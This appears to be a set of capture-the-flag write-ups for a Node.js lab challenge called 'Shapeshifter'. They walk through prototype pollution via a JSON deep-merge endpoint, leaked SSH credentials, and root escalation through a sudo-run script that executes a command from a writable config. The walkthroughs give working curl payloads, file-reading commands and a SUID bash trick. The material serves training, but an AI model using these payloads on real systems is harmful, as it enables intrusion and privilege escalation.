Shapeshifter
Shapeshifter is an internal developer profile service built with Node.js. It lets users update their profile data through a flexible merge endpoint — one that trusts deeply nested JSON a little too much.
RatCTF
Shapeshifter is an internal developer profile service built with Node.js. It lets users update their profile data through a flexible merge endpoint — one that trusts deeply nested JSON a little too much.
Community
Short, stage-specific nudges — directional, spoiler-light, no exact commands.
Post-Exploitation
Community
HELLO MY TEAM
During the assessment of the target application, I identified a privilege escalation vulnerability caused by an insecure sudo configuration combined with a writable configuration file. This allowed a low-privileged user to execute arbitrary commands as root and obtain the root flag.
I accessed the web application at:
While enumerating the available functionality, I discovered a Debug section:
http://45.79.202.95:30594/debug
The debug page exposed SSH access information, allowing me to connect to the target system:
ssh user@45.79.202.95 -p 30593
After gaining shell access, I successfully retrieved the user flag:
cat user.txt
I checked the user's sudo privileges:
sudo -l
The following sudo rule was identified:
(root) NOPASSWD: /usr/bin/node /opt/shapeshifter/healthcheck.js
This indicated that the user could execute the Node.js script healthcheck.js as root without providing a password.
The contents of the script were:
const { execSync } = require("child_process");
const cfg = require("/opt/shapeshifter/healthcfg.json");
console.log("[health] Running:", cfg.cmd);
console.log(execSync(cfg.cmd, {encoding: "utf8"}));
The script loads a JSON configuration file and executes the value stored in the cmd field using execSync().
I then examined the configuration file:
cat /opt/shapeshifter/healthcfg.json
The file contained:
{"cmd":"uptime"}
Further inspection revealed that the configuration file was writable by the current user.
Since the script executed the value of cmd as root and the configuration file was writable, I modified the file to execute an arbitrary command:
echo '{"cmd":"cat /root/root.txt"}' > /opt/shapeshifter/healthcfg.json
I then executed the privileged script:
sudo /usr/bin/node /opt/shapeshifter/healthcheck.js
The script executed the supplied command with root privileges and returned the contents of the root flag:
[health] Running: cat /root/root.txt
flag{root_via_sudo_node_config_injection}
A low-privileged user can modify the configuration file used by a root-executed script, resulting in arbitrary command execution as root. This leads to complete system compromise and full administrative access.
execSync() on user-controlled input without validation or restrictions.You start with:
nmap -sV -p 30594,30593 45.79.202.95
Open ports:
30594 → HTTP (Node.js Express app)
30593 → SSH
So the attack surface is:
Web app for initial exploitation
SSH for later login
2. Web application analysis
Visiting the web service shows a:
“Shapeshifter Profile Hub”
Key feature:
Profile update system
Accepts JSON input
Performs deep merge into user profile object
Important clue from description:
“flexible JSON merge API”
“deeply nested JSON”
This strongly indicates unsafe object merging.
From /docs, behavior is:
POST /profile/:name/update
Performs recursive merge of user-controlled JSON into server object
No strict schema validation
Includes nested object keys and prototype-level keys
This leads to:
Prototype pollution risk
If attacker sends:
{
"proto": {
"polluted": true
}
}
Then all objects in the application may inherit this property.
The /debug endpoint is exposed.
It leaks internal information including:
Configuration details
Sometimes credentials or environment data
In this case:
SSH username
SSH password
This is a critical misconfiguration.
Using the leaked credentials:
ssh -p 30593 devuser@45.79.202.95
You successfully log in as a low-privileged user.
Inside the home directory:
user.txt contains the user-level flag
At this stage:
Web → SSH foothold is complete
7. Privilege escalation discovery
Check sudo permissions:
sudo -l
You find:
Allowed to run Node script as root without password
(root) NOPASSWD: /usr/bin/node /opt/shapeshifter/healthcheck.js
This is the escalation vector.
File:
const { execSync } = require("child_process");
const cfg = require("/opt/shapeshifter/healthcfg.json");
console.log("[health] Running:", cfg.cmd);
console.log(execSync(cfg.cmd, {encoding: "utf8"}));
Critical issue:
It reads a JSON config file
Executes cfg.cmd directly using execSync
Runs as root when executed via sudo
This is unsafe because:
Input is externally controlled
Command execution is unrestricted
9. Writable configuration file
Check permissions:
ls -la /opt/shapeshifter/healthcfg.json
You find:
File is writable by the user
This is key because:
Attacker controls the command executed by root script
10. Privilege escalation method
Modify the config:
{
"cmd": "cat /root/root.txt"
}
Then execute:
sudo /usr/bin/node /opt/shapeshifter/healthcheck.js
Since:
Node script runs as root
JSON is attacker-controlled
Result:
Command executes as root
Root-level access achieved
11. Attack chain summary
Nmap reveals HTTP + SSH
Web app exposes JSON merge functionality
Prototype pollution vulnerability identified
/debug leaks SSH credentials
SSH login as low-priv user
sudo reveals Node script running as root
Writable JSON config found
Inject command into config
Root execution via sudo Node script
Challenge Description: A profile management application exposes a
JSON merge API. Trusting deeply nested JSON leads to prototype
pollution, hidden functionality exposure, remote command execution, and
multiple paths to root.
nmap -sV -p 30593,30594 45.79.219.169
Results:
30593/tcp -- OpenSSH 9.2p130594/tcp -- Node.js (Express)Browsing the application reveals:
/ -- Home page/profile/demo -- Demo profile editor/docs -- API documentation/debug -- Debug endpointThe documentation contains a critical clue:
The merge function recursively walks the source object and copies all
keys --- including prototype-level keys --- into the target.
The profile update API:
POST /profile/:name/update
accepts arbitrary JSON and performs a deep merge.
This strongly suggests Prototype Pollution via __proto__.
The debug endpoint initially returns:
<p>Debug mode inactive.</p>
Pollute the prototype:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"debug":true}}}'
Visiting /debug now returns command output:
18:02:41 up 23 days, 9:01, 0 user
This confirms prototype pollution is affecting application
configuration.
Triggering an error reveals the command property name:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"cmd":{"test":1}}}}'
Response:
The "command" argument must be of type string.
The application is reading a property named cmd.
Set it to a command:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"cmd":"id"}}}'
Then browse:
curl -s http://45.79.219.169:30594/debug
Output:
uid=0(root) gid=0(root) groups=0(root)
Root command execution achieved.
Locate the user:
ls -la /home
Output:
devuser
Read the user flag:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"cmd":"cat /home/devuser/user.txt"}}}'
Retrieve output:
curl -s http://45.79.219.169:30594/debug
User Flag:
flag{...._...._...}
Read the root flag directly:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"cmd":"cat /root/root.txt"}}}'
Then:
curl -s http://45.79.219.169:30594/debug
Root Flag:
flag{...._...._...}
The application source leaks credentials.
Read the environment file:
curl -s -X POST http://45.79.219.169:30594/profile/demo/update \
-H 'Content-Type: application/json' \
-d '{"data":{"__proto__":{"cmd":"cat /opt/shapeshifter/.env"}}}'
Output:
SSH_USER=d....r
SSH_PASS=S......!
ssh d.....r@45.79.219.169 -p 30593
Password:
S............!
Read:
cat user.txt
User Flag:
flag{...._...._...}
sudo -l
Output:
(root) NOPASSWD: /usr/bin/node /opt/shapeshifter/healthcheck.js
Inspect the script:
const { execSync } = require("child_process");
const cfg = require("/opt/shapeshifter/healthcfg.json");
console.log("[health] Running:", cfg.cmd);
console.log(execSync(cfg.cmd, {encoding: "utf8"}));
File permissions:
-rw-rw-r-- 1 devuser devuser healthcfg.json
The configuration file is writable by devuser but executed by root.
Overwrite the configuration:
echo '{"cmd":"cat /root/root.txt"}' > /opt/shapeshifter/healthcfg.json
Execute:
sudo /usr/bin/node /opt/shapeshifter/healthcheck.js
Output:
flag{...._...._...}
Root access can also be obtained via:
echo '{"cmd":"chmod u+s /bin/bash"}' > /opt/shapeshifter/healthcfg.json
sudo /usr/bin/node /opt/shapeshifter/healthcheck.js
/bin/bash -p
flag{...._...._...}
flag{...._...._...}
__proto__, constructor, and prototype keys..env files exposed